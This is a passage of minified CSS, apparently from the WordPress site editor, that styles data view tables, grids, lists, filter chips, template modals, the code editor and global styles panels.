a{color:#1e1e1e;font-weight:500;text-decoration:none}.dataviews-view-table th{color:var(--wp-components-color-foreground,#1e1e1e);font-size:13px;font-weight:400;text-align:left}.dataviews-view-table td,.dataviews-view-table th{padding:12px;white-space:nowrap}.dataviews-view-table td[data-field-id=actions],.dataviews-view-table th[data-field-id=actions]{text-align:right}.dataviews-view-table td.dataviews-view-table__checkbox-column,.dataviews-view-table th.dataviews-view-table__checkbox-column{padding-right:0}.dataviews-view-table td .components-checkbox-control__input-container,.dataviews-view-table th .components-checkbox-control__input-container{margin:4px}.dataviews-view-table tr{border-bottom:1px solid #f0f0f0}.dataviews-view-table tr .dataviews-view-table-header-button{gap:4px}.dataviews-view-table tr td:first-child,.dataviews-view-table tr th:first-child{padding-left:32px}.dataviews-view-table tr td:first-child .dataviews-view-table-header,.dataviews-view-table tr td:first-child .dataviews-view-table-header-button,.dataviews-view-table tr th:first-child .dataviews-view-table-header,.dataviews-view-table tr th:first-child .dataviews-view-table-header-button{margin-left:-8px}.dataviews-view-table tr td:last-child,.dataviews-view-table tr th:last-child{padding-right:32px}.dataviews-view-table tr:last-child{border-bottom:0}.dataviews-view-table tr:hover{background-color:#f8f8f8}.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input{opacity:0}.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:checked,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:focus,.dataviews-view-table tr .components-checkbox-control__input.components-checkbox-control__input:indeterminate,.dataviews-view-table tr:focus-within .components-checkbox-control__input,.dataviews-view-table tr:hover .components-checkbox-control__input{opacity:1}.dataviews-view-table tr.is-selected{background-color:rgba(var(--wp-admin-theme-color--rgb),.04);color:#757575}.dataviews-view-table tr.is-selected:hover{background-color:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-view-table thead{inset-block-start:0;position:sticky;z-index:1}.dataviews-view-table thead tr{border:0}.dataviews-view-table thead th{background-color:#fff;box-shadow:inset 0 -1px 0 #f0f0f0;font-size:11px;font-weight:500;padding-bottom:8px;padding-left:4px;padding-top:8px;text-transform:uppercase}.dataviews-view-table tbody td{vertical-align:top}.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper{align-items:center;display:flex;min-height:32px}.dataviews-view-table tbody .dataviews-view-table__cell-content-wrapper>*{flex-grow:1}.dataviews-view-table .dataviews-view-table-header-button{font-size:11px;font-weight:500;padding:4px 8px;text-transform:uppercase}.dataviews-view-table .dataviews-view-table-header-button:not(:hover){color:#1e1e1e}.dataviews-view-table .dataviews-view-table-header-button span{speak:none}.dataviews-view-table .dataviews-view-table-header-button span:empty{display:none}.dataviews-view-table .dataviews-view-table-header{padding-left:4px}.dataviews-view-table .dataviews-view-table__actions-column{width:1%}.dataviews-view-table:has(tr.is-selected) .components-checkbox-control__input{opacity:1}.dataviews-view-grid__primary-field,.dataviews-view-list__primary-field,.dataviews-view-table__primary-field{color:#1e1e1e;display:block;font-size:13px;font-weight:500;text-overflow:ellipsis;white-space:nowrap;width:100%}.dataviews-view-grid__primary-field a,.dataviews-view-list__primary-field a,.dataviews-view-table__primary-field a{color:inherit;display:block;overflow:hidden;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;width:100%}.dataviews-view-grid__primary-field a:hover,.dataviews-view-list__primary-field a:hover,.dataviews-view-table__primary-field a:hover{color:#1e1e1e}.dataviews-view-grid__primary-field a:focus,.dataviews-view-list__primary-field a:focus,.dataviews-view-table__primary-field a:focus{border-radius:2px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color,#007cba);color:var(--wp-admin-theme-color--rgb)}.dataviews-view-grid__primary-field button.components-button.is-link,.dataviews-view-list__primary-field button.components-button.is-link,.dataviews-view-table__primary-field button.components-button.is-link{color:inherit;display:block;font-weight:inherit;overflow:hidden;text-decoration:none;text-overflow:ellipsis;white-space:nowrap;width:100%}.dataviews-view-grid{grid-template-columns:repeat(2,minmax(0,1fr))!important;grid-template-rows:max-content;margin-bottom:24px;padding:0 32px}@media (min-width:1080px){.dataviews-view-grid{grid-template-columns:repeat(3,minmax(0,1fr))!important}}@media (min-width:1440px){.dataviews-view-grid{grid-template-columns:repeat(4,minmax(0,1fr))!important}}.dataviews-view-grid .dataviews-view-grid__card{border:1px solid #e0e0e0;border-radius:4px;height:100%;justify-content:flex-start}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__title-actions{padding:4px 8px 4px 4px}.dataviews-view-grid .dataviews-view-grid__card .dataviews-view-grid__primary-field{min-height:40px}.dataviews-view-grid .dataviews-view-grid__card.is-selected{background-color:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:var(--wp-admin-theme-color)}.dataviews-view-grid .dataviews-view-grid__card.is-selected .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{color:#1e1e1e}.dataviews-view-grid .dataviews-view-grid__media{aspect-ratio:1/1;background-color:#f0f0f0;border-bottom:1px solid #e0e0e0;border-radius:3px 3px 0 0;min-height:200px;width:100%}.dataviews-view-grid .dataviews-view-grid__media img{height:100%;object-fit:cover;width:100%}.dataviews-view-grid .dataviews-view-grid__fields{font-size:12px;line-height:16px;position:relative}.dataviews-view-grid .dataviews-view-grid__fields:not(:empty){padding:0 12px 12px}.dataviews-view-grid .dataviews-view-grid__fields .dataviews-view-grid__field .dataviews-view-grid__field-value{color:#757575}.dataviews-view-list{margin:0;padding:8px}.dataviews-view-list li{margin:0}.dataviews-view-list li .dataviews-view-list__item-wrapper{border-radius:4px;padding-right:24px;position:relative}.dataviews-view-list li .dataviews-view-list__item-wrapper:after{background:#f0f0f0;content:"";height:1px;left:24px;position:absolute;right:24px;top:100%}.dataviews-view-list li:not(.is-selected):hover,.dataviews-view-list li:not(.is-selected):hover .dataviews-view-list__fields,.dataviews-view-list li:not(.is-selected):hover .dataviews-view-list__primary-field{color:var(--wp-admin-theme-color)}.dataviews-view-list li.is-selected .dataviews-view-list__item-wrapper,.dataviews-view-list li.is-selected:focus-within .dataviews-view-list__item-wrapper{background-color:var(--wp-admin-theme-color);color:#fff}.dataviews-view-list li.is-selected .dataviews-view-list__item-wrapper .components-button,.dataviews-view-list li.is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list li.is-selected .dataviews-view-list__item-wrapper .dataviews-view-list__primary-field,.dataviews-view-list li.is-selected:focus-within .dataviews-view-list__item-wrapper .components-button,.dataviews-view-list li.is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__fields,.dataviews-view-list li.is-selected:focus-within .dataviews-view-list__item-wrapper .dataviews-view-list__primary-field{color:#fff}.dataviews-view-list li.is-selected .dataviews-view-list__item-wrapper:after,.dataviews-view-list li.is-selected:focus-within .dataviews-view-list__item-wrapper:after{background:#0000}.dataviews-view-list .dataviews-view-list__item{cursor:pointer;padding:12px 0 12px 24px;width:100%}.dataviews-view-list .dataviews-view-list__item:focus:before{border-radius:4px;bottom:-1px;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);content:"";left:-1px;position:absolute;right:-1px;top:-1px;z-index:-1}.dataviews-view-list .dataviews-view-list__item .dataviews-view-list__primary-field{min-height:20px}.dataviews-view-list .dataviews-view-list__media-wrapper{background-color:#f0f0f0;border-radius:4px;flex-shrink:0;height:40px;overflow:hidden;position:relative;width:40px}.dataviews-view-list .dataviews-view-list__media-wrapper img{height:100%;object-fit:cover;width:100%}.dataviews-view-list .dataviews-view-list__media-wrapper:after{border-radius:4px;box-shadow:inset 0 0 0 1px #0000001a;content:"";height:100%;left:0;position:absolute;top:0;width:100%}.dataviews-view-list .dataviews-view-list__media-placeholder{background-color:#e0e0e0;height:32px;min-width:32px}.dataviews-view-list .dataviews-view-list__fields{color:#757575;display:flex;flex-wrap:wrap;font-size:12px;gap:8px;line-height:16px}.dataviews-view-list .dataviews-view-list__fields .dataviews-view-list__field:empty{display:none}.dataviews-view-list+.dataviews-pagination{justify-content:space-between}.dataviews-view-list .dataviews-view-list__details-button{align-self:center;opacity:0}.dataviews-view-list li.is-selected .dataviews-view-list__details-button,.dataviews-view-list li:focus-within .dataviews-view-list__details-button,.dataviews-view-list li:hover .dataviews-view-list__details-button{opacity:1}.dataviews-view-list li.is-selected .dataviews-view-list__details-button:focus{box-shadow:0 0 0 var(--wp-admin-border-width-focus) currentColor}.dataviews-action-modal{z-index:1000001}.dataviews-loading,.dataviews-no-results{padding:0 32px}.dataviews-view-table-selection-checkbox label{height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;clip:rect(0,0,0,0);border:0;white-space:nowrap}.dataviews-filters__custom-menu-radio-item-prefix{display:block;width:24px}.dataviews-bulk-edit-button.components-button{flex-shrink:0}.dataviews-view-grid__title-actions .dataviews-view-table-selection-checkbox{margin-left:8px}.dataviews-view-grid__card.has-no-pointer-events *{pointer-events:none}.dataviews-filter-summary__popover .components-popover__content{border-radius:4px;padding:0;width:230px}.dataviews-search-widget-filter-combobox-list{border-top:1px solid #e0e0e0;max-height:184px;overflow:auto;padding:4px}.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item{align-items:center;border-radius:2px;box-sizing:border-box;cursor:default;display:flex;gap:8px;margin-block-end:2px;padding:8px 12px}.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:last-child{margin-block-end:0}.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:focus,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:hover,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item[data-active-item]{background-color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#3858e9));color:#fff}.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:focus .dataviews-search-widget-filter-combobox-item-check,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:hover .dataviews-search-widget-filter-combobox-item-check,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item[data-active-item] .dataviews-search-widget-filter-combobox-item-check{fill:#fff}.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:focus .dataviews-search-widget-filter-combobox-item-description,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item:hover .dataviews-search-widget-filter-combobox-item-description,.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item[data-active-item] .dataviews-search-widget-filter-combobox-item-description{color:#fff}.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item .dataviews-search-widget-filter-combobox-item-check{flex-shrink:0;height:24px;width:24px}.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item .dataviews-search-widget-filter-combobox-item-value [data-user-value]{font-weight:600}.dataviews-search-widget-filter-combobox-list .dataviews-search-widget-filter-combobox-item .dataviews-search-widget-filter-combobox-item-description{color:#757575;display:block;font-size:12px;line-height:16px;overflow:hidden;text-overflow:ellipsis}.dataviews-search-widget-filter-combobox__wrapper{padding:8px;position:relative}.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input{background:#f0f0f0;border:none;border-radius:2px;box-shadow:0 0 0 #0000;display:block;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;height:32px;line-height:normal;margin-left:0;margin-right:0;padding:0 32px 0 8px;transition:box-shadow .1s linear;width:100%}@media (prefers-reduced-motion:reduce){.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input{font-size:13px;line-height:normal}}.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 .5px var(--wp-admin-theme-color);outline:2px solid #0000}.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-webkit-input-placeholder{color:#1e1e1e9e}.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-moz-placeholder{color:#1e1e1e9e;opacity:1}.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input:-ms-input-placeholder{color:#1e1e1e9e}@media (min-width:600px){.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input{font-size:13px}}.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input:focus{background:#fff;box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-components-color-accent,var(--wp-admin-theme-color,#007cba))}.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::placeholder{color:#757575}.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-webkit-search-cancel-button,.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-webkit-search-decoration,.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-webkit-search-results-button,.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__input::-webkit-search-results-decoration{-webkit-appearance:none}.dataviews-search-widget-filter-combobox__wrapper .dataviews-search-widget-filter-combobox__icon{align-items:center;display:flex;justify-content:center;position:absolute;right:12px;top:50%;transform:translateY(-50%);width:24px}.dataviews-filter-summary__operators-container{padding:8px 8px 0}.dataviews-filter-summary__operators-container:empty{display:none}.dataviews-filter-summary__operators-container .dataviews-filter-summary__operators-filter-name{color:#757575}.dataviews-filter-summary__chip-container{position:relative;white-space:pre-wrap}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip{align-items:center;background:#f0f0f0;border:1px solid #0000;border-radius:16px;color:#757575;cursor:pointer;display:flex;height:32px;padding:0 12px;position:relative}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip.has-reset{padding-inline-end:28px}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip:focus-visible,.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip:hover,.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip[aria-expanded=true]{background:#e0e0e0;color:#1e1e1e}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip.has-values{background:rgba(var(--wp-admin-theme-color--rgb),.04);color:var(--wp-admin-theme-color)}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip.has-values:hover,.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip.has-values[aria-expanded=true]{background:rgba(var(--wp-admin-theme-color--rgb),.12)}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:none}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip .dataviews-filter-summary__filter-text-name{font-weight:500}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove{align-items:center;background:#0000;border:0;border-radius:50%;cursor:pointer;display:flex;height:24px;justify-content:center;padding:0;position:absolute;right:4px;top:50%;transform:translateY(-50%);width:24px}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove svg{fill:#757575}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove:focus,.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove:hover{background:#e0e0e0}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove:focus svg,.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove:hover svg{fill:#1e1e1e}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove.has-values svg{fill:var(--wp-admin-theme-color)}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove.has-values:hover{background:rgba(var(--wp-admin-theme-color--rgb),.08)}.dataviews-filter-summary__chip-container .dataviews-filter-summary__chip-remove:focus-visible{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:none}.edit-site-custom-template-modal__contents-wrapper{height:100%;justify-content:flex-start!important}.edit-site-custom-template-modal__contents-wrapper>*{width:100%}.edit-site-custom-template-modal__contents-wrapper__suggestions_list{margin-left:-12px;margin-right:-12px;width:calc(100% + 24px)}.edit-site-custom-template-modal__contents>.components-button{height:auto;justify-content:center}@media (min-width:782px){.edit-site-custom-template-modal{width:456px}}@media (min-width:600px){.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list{max-height:224px;overflow-y:auto}}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item{display:block;height:auto;overflow-wrap:break-word;padding:8px 12px;text-align:left;white-space:pre-wrap;width:100%}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item mark{background:none;font-weight:700}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04)}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover *,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:hover mark{color:var(--wp-admin-theme-color)}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus{background-color:#f0f0f0}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item:focus:not(:disabled){box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color) inset}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info,.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__title{display:block;overflow:hidden;text-overflow:ellipsis}.edit-site-custom-template-modal .edit-site-custom-template-modal__suggestions_list__list-item__info{color:#757575;word-break:break-all}.edit-site-custom-template-modal__no-results{border:1px solid #ccc;border-radius:2px;padding:16px}.edit-site-custom-generic-template__modal .components-modal__header{border-bottom:none}.edit-site-custom-generic-template__modal .components-modal__content:before{margin-bottom:4px}.edit-site-template-actions-loading-screen-modal{-webkit-backdrop-filter:none;backdrop-filter:none;background-color:initial}.edit-site-template-actions-loading-screen-modal.is-full-screen{background-color:#fff;box-shadow:0 0 0 #0000;min-height:100%;min-width:100%}.edit-site-template-actions-loading-screen-modal__content{align-items:center;display:flex;height:100%;justify-content:center;left:50%;position:absolute;transform:translateX(-50%)}.edit-site-add-new-template__modal{margin-top:64px;max-height:calc(100% - 128px);max-width:832px;width:calc(100% - 64px)}@media (min-width:960px){.edit-site-add-new-template__modal{width:calc(100% - 128px)}}.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button svg,.edit-site-add-new-template__modal .edit-site-add-new-template__template-button svg{fill:var(--wp-admin-theme-color)}.edit-site-add-new-template__modal .edit-site-add-new-template__custom-template-button .edit-site-add-new-template__template-name{align-items:flex-start;flex-grow:1}.edit-site-add-new-template__modal .edit-site-add-new-template__template-icon{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-radius:100%;max-height:40px;max-width:40px;padding:8px}.edit-site-add-new-template__template-list__contents>.components-button,.edit-site-custom-template-modal__contents>.components-button{border:1px solid #ddd;border-radius:2px;display:flex;flex-direction:column;justify-content:center;outline:1px solid #0000;padding:32px}.edit-site-add-new-template__template-list__contents>.components-button span:first-child,.edit-site-custom-template-modal__contents>.components-button span:first-child{color:#1e1e1e}.edit-site-add-new-template__template-list__contents>.components-button span,.edit-site-custom-template-modal__contents>.components-button span{color:#757575}.edit-site-add-new-template__template-list__contents>.components-button:hover,.edit-site-custom-template-modal__contents>.components-button:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-color:#0000;color:var(--wp-admin-theme-color-darker-10)}.edit-site-add-new-template__template-list__contents>.components-button:hover span,.edit-site-custom-template-modal__contents>.components-button:hover span{color:var(--wp-admin-theme-color)}.edit-site-add-new-template__template-list__contents>.components-button:focus,.edit-site-custom-template-modal__contents>.components-button:focus{border-color:#0000;box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);outline:3px solid #0000}.edit-site-add-new-template__template-list__contents>.components-button:focus span:first-child,.edit-site-custom-template-modal__contents>.components-button:focus span:first-child{color:var(--wp-admin-theme-color)}.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__custom-template-button,.edit-site-add-new-template__template-list__contents .edit-site-add-new-template__template-list__prompt,.edit-site-custom-template-modal__contents .edit-site-add-new-template__custom-template-button,.edit-site-custom-template-modal__contents .edit-site-add-new-template__template-list__prompt{grid-column-end:4;grid-column-start:1}.edit-site-add-new-template__template-list__contents>.components-button{align-items:flex-start;height:100%;text-align:start}.edit-site-block-editor__editor-styles-wrapper .components-button{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;padding:6px 12px}.edit-site-block-editor__editor-styles-wrapper .components-button.has-icon,.edit-site-block-editor__editor-styles-wrapper .components-button.is-tertiary{padding:6px}.edit-site-editor-canvas__block-list.is-navigation-block{padding:24px}.edit-site-visual-editor{align-items:center;background-color:#ddd;display:block;height:100%;overflow:hidden;position:relative}.edit-site-visual-editor iframe{background:#fff;display:block;height:100%;width:100%}.edit-site-visual-editor .edit-site-visual-editor__editor-canvas.is-focused{outline:calc(var(--wp-admin-border-width-focus)*2) solid var(--wp-admin-theme-color);outline-offset:calc(var(--wp-admin-border-width-focus)*-2)}.edit-site-layout.is-full-canvas .edit-site-visual-editor.is-focus-mode{padding:24px}.edit-site-visual-editor.is-focus-mode .edit-site-visual-editor__editor-canvas{border-radius:2px;max-height:100%}.edit-site-visual-editor.is-focus-mode .components-resizable-box__container{overflow:visible}.edit-site-visual-editor .components-resizable-box__container{margin:0 auto;overflow:auto}.edit-site-visual-editor.is-view-mode{box-shadow:0 20px 25px -5px #000c,0 8px 10px -6px #000c}.resizable-editor__drag-handle{-webkit-appearance:none;appearance:none;background:none;border:0;border-radius:2px;bottom:0;cursor:ew-resize;margin:auto 0;outline:none;padding:0;position:absolute;top:0;width:12px}.resizable-editor__drag-handle.is-variation-default{height:100px}.resizable-editor__drag-handle.is-variation-separator{height:100%;right:0;width:24px}.resizable-editor__drag-handle.is-variation-separator:after{background:#0000;border-radius:0;left:50%;right:0;transform:translateX(-1px);transition:all .2s ease;transition-delay:.1s;width:2px}@media (prefers-reduced-motion:reduce){.resizable-editor__drag-handle.is-variation-separator:after{animation-delay:0s;animation-duration:1ms;transition-delay:0s;transition-duration:0s}}.resizable-editor__drag-handle:after{background:#949494;border-radius:2px;bottom:24px;content:"";left:4px;position:absolute;right:0;top:24px;width:4px}.resizable-editor__drag-handle.is-left{left:-16px}.resizable-editor__drag-handle.is-right{right:-16px}.resizable-editor__drag-handle:active,.resizable-editor__drag-handle:hover{opacity:1}.resizable-editor__drag-handle:active.is-variation-default:after,.resizable-editor__drag-handle:hover.is-variation-default:after{background:#ccc}.resizable-editor__drag-handle:active.is-variation-separator:after,.resizable-editor__drag-handle:hover.is-variation-separator:after{background:var(--wp-admin-theme-color)}.resizable-editor__drag-handle:focus:after{box-shadow:0 0 0 1px #2f2f2f,0 0 0 calc(var(--wp-admin-border-width-focus) + 1px) var(--wp-admin-theme-color)}.resizable-editor__drag-handle.is-variation-separator:focus:after{border-radius:2px;box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color)}.edit-site-canvas-loader{align-items:center;animation:edit-site-canvas-loader__fade-in-animation .5s ease .2s;animation-fill-mode:forwards;display:flex;height:100%;justify-content:center;left:0;opacity:0;position:absolute;top:0;width:100%}@media (prefers-reduced-motion:reduce){.edit-site-canvas-loader{animation-delay:0s;animation-duration:1ms}}.edit-site-canvas-loader>div{width:160px}@keyframes edit-site-canvas-loader__fade-in-animation{0%{opacity:0}to{opacity:1}}.edit-site-code-editor{background-color:#fff;min-height:100%;position:relative;width:100%}.edit-site-code-editor__body{margin-left:auto;margin-right:auto;max-width:1080px;padding:12px;width:100%}@media (min-width:960px){.edit-site-code-editor__body{padding:24px}}.edit-site-code-editor__toolbar{background:#fffc;display:flex;left:0;padding:4px 12px;position:sticky;right:0;top:0;z-index:1}@media (min-width:600px){.edit-site-code-editor__toolbar{padding:12px}}@media (min-width:960px){.edit-site-code-editor__toolbar{padding:12px 24px}}.edit-site-code-editor__toolbar h2{color:#1e1e1e;font-size:13px;line-height:36px;margin:0 auto 0 0}textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{border:1px solid #949494;border-radius:0;box-shadow:none;display:block;font-family:Menlo,Consolas,monaco,monospace;font-size:16px!important;line-height:2.4;margin:0;min-height:200px;overflow:hidden;padding:16px;resize:none;transition:border .1s ease-out,box-shadow .1s linear;width:100%}@media (prefers-reduced-motion:reduce){textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{transition-delay:0s;transition-duration:0s}}@media (min-width:600px){textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area{font-size:15px!important;padding:24px}}textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area:focus{border-color:var(--wp-admin-theme-color);box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);position:relative}textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area::-webkit-input-placeholder{color:#1e1e1e9e}textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area::-moz-placeholder{color:#1e1e1e9e;opacity:1}textarea.edit-site-code-editor-text-area.edit-site-code-editor-text-area:-ms-input-placeholder{color:#1e1e1e9e}.edit-site-global-styles-preview{align-items:center;cursor:pointer;display:flex;justify-content:center;line-height:1}.edit-site-global-styles-preview__iframe{display:block;max-width:100%}.edit-site-typography-preview{align-items:center;background:#f0f0f0;border-radius:2px;display:flex;justify-content:center;margin-bottom:16px;min-height:100px;overflow:hidden}.edit-site-typography-panel__full-width-control{grid-column:1/-1;max-width:100%}.edit-site-global-styles-screen-css,.edit-site-global-styles-screen-typography{margin:16px}.edit-site-global-styles-screen-typography__indicator{align-items:center;border-radius:2px;display:flex!important;font-size:14px;height:24px;justify-content:center;width:24px}.edit-site-global-styles-screen-typography__font-variants-count{color:#757575}.edit-site-global-styles-font-families__add-fonts{justify-content:center}.edit-site-global-styles-screen-colors{margin:16px}.edit-site-global-styles-screen-colors .color-block-support-panel{border-top:none;padding-left:0;padding-right:0}.edit-site-global-styles-header__description{padding:0 16px}.edit-site-block-types-search{margin-bottom:8px;padding:0 16px}.edit-site-global-styles-header{margin-bottom:0!important}.edit-site-global-styles-subtitle{font-size:11px!important;font-weight:500!important;margin-bottom:0!important;text-transform:uppercase}.edit-site-global-styles-section-title{color:#2f2f2f;font-weight:600;line-height:1.2;margin:0;padding:16px 16px 0}.edit-site-global-styles-variations_item{border-radius:2px;box-sizing:border-box}.edit-site-global-styles-variations_item .edit-site-global-styles-variations_item-preview{border-radius:2px;box-shadow:0 0 0 1px #e0e0e0;outline:1px solid #0000;padding:2px}.edit-site-global-styles-variations_item.is-active .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 1px #1e1e1e;outline-width:3px}.edit-site-global-styles-variations_item:hover .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.edit-site-global-styles-variations_item:focus .edit-site-global-styles-variations_item-preview{box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.edit-site-global-styles-variations_item:focus-visible{outline:3px solid #0000;outline-offset:0}.edit-site-global-styles-icon-with-current-color{fill:currentColor}.edit-site-global-styles__color-indicator-wrapper{flex-shrink:0;height:24px}.edit-site-global-styles__block-preview-panel{border:1px solid #e0e0e0;border-radius:2px;overflow:auto;position:relative;width:100%}.edit-site-global-styles-screen-css{display:flex;flex:1 1 auto;flex-direction:column}.edit-site-global-styles-screen-css .components-v-stack{flex:1 1 auto}.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input,.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field{display:flex;flex:1 1 auto;flex-direction:column}.edit-site-global-styles-screen-css .components-v-stack .block-editor-global-styles-advanced-panel__custom-css-input .components-base-control__field .components-textarea-control__input{direction:ltr;flex:1 1 auto}.edit-site-global-styles-screen-css-help-link{display:block;margin-top:8px}.edit-site-global-styles-screen-variations{border-top:1px solid #ddd;margin-top:16px}.edit-site-global-styles-screen-variations>*{margin:24px 16px}.edit-site-global-styles-sidebar__navigator-screen{display:flex;flex-direction:column}.edit-site-global-styles-screen-root.edit-site-global-styles-screen-root,.edit-site-global-styles-screen-style-variations.edit-site-global-styles-screen-style-variations{background:unset;color:inherit}.edit-site-global-styles-sidebar__panel .block-editor-block-icon svg{fill:currentColor}.edit-site-global-styles-screen-revisions__revisions-list{flex-grow:1;list-style:none;margin:0 16px 16px}.edit-site-global-styles-screen-revisions__revisions-list li{margin-bottom:0}.edit-site-global-styles-screen-revisions__revision-item{cursor:pointer;display:flex;flex-direction:column;position:relative}.edit-site-global-styles-screen-revisions__revision-item:hover{background:rgba(var(--wp-admin-theme-color--rgb),.04)}.edit-site-global-styles-screen-revisions__revision-item:hover .edit-site-global-styles-screen-revisions__date{color:var(--wp-admin-theme-color)}.edit-site-global-styles-screen-revisions__revision-item:after,.edit-site-global-styles-screen-revisions__revision-item:before{content:"\a";display:block;position:absolute}.edit-site-global-styles-screen-revisions__revision-item:before{background:#ddd;border:4px solid #0000;border-radius:50%;height:8px;left:17px;top:18px;transform:translate(-50%,-50%);width:8px;z-index:1}.edit-site-global-styles-screen-revisions__revision-item.is-selected{background:rgba(var(--wp-admin-theme-color--rgb),.04);border-radius:2px;color:var(--wp-components-color-accent,var(--wp-admin-theme-color,#007cba));outline:3px solid 